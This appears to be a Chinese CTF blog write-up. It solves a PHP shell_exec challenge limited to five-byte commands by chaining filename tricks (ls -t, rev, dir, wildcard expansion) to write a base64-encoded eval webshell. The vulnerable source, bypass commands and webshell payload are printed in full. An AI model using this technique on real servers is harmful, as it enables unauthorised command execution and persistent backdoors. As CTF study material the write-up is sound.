王鼎杯 RCE命令執行 五字節限制

源碼:

<?php
error_reporting(0);
highlight_file(__FILE__);
if(strlen($_GET['cmd'])<=5 && !preg_match('/rm/',$_GET['cmd']))
{
    echo shell_exec($_GET['cmd']);
}
?>

对cmd限制长度五字节

image
起初是想通过变量来绕过五字节 但好像不起作用

于是尝试使用 常规做法通过文件名的叠加来构造payload:
首先要缩小 ls -t的长度 在linux中 重定向符号可以直接创建文件:
我们使用如下方法:

>-t
>ls

root@forg:/var/www/html/test# ls
ls  -t
#使用*触发命令 按顺序触发 默认顺序是数字字母符号的顺序

image
此时还不能够将ls -t的长度缩短 需要将命令写入到一个新的文件中 方便执行
但是由于 '>f'参数永远会处于ls的第一个 文件 导致顺序不正确
需要使用 rev命令做一个倒置
再使用dir将结果输出到一个文件中
d下来是f所以文件名取为f
综合下来:

>sl
>ht-
>f\>
>dir
# 此时*触发:
root@forg:/var/www/html/test# *
f>  ht-  sl
# 对结果进行重定向 写到一个新的文件中: 等下需要匹配*v所以目标文件名一定与rev的结末字符一致
*>v
# 创建rev对文件内容进行倒置
root@forg:/var/www/html/test# >rev

image
最后将内容写入到新的文件中a中 最后运行a文件
sh a
最后f文件内存应该存放的是一句话木马 接下来的操作较为简单 与七字符绕过基本一致

将payload base64编码

PD9waHAgZWNobyBldmFsKCRfR0VUWycxJ10pID8+
通过base64解码  
整体命令为:echo PD9waHAgZWNobyBldmFsKCRfR0VUWycxJ10pID8+ | base64 -d
将字符按照总后向前的顺序依次写入
>\-d
>4\ 
>se6
>ba
...........
>PD9

sh a 将命令写入到f中
最后
 f 中存放着一句话木马
posted @ 2024-06-23 22:53  f0r9  阅读(4)  评论(0编辑  收藏  举报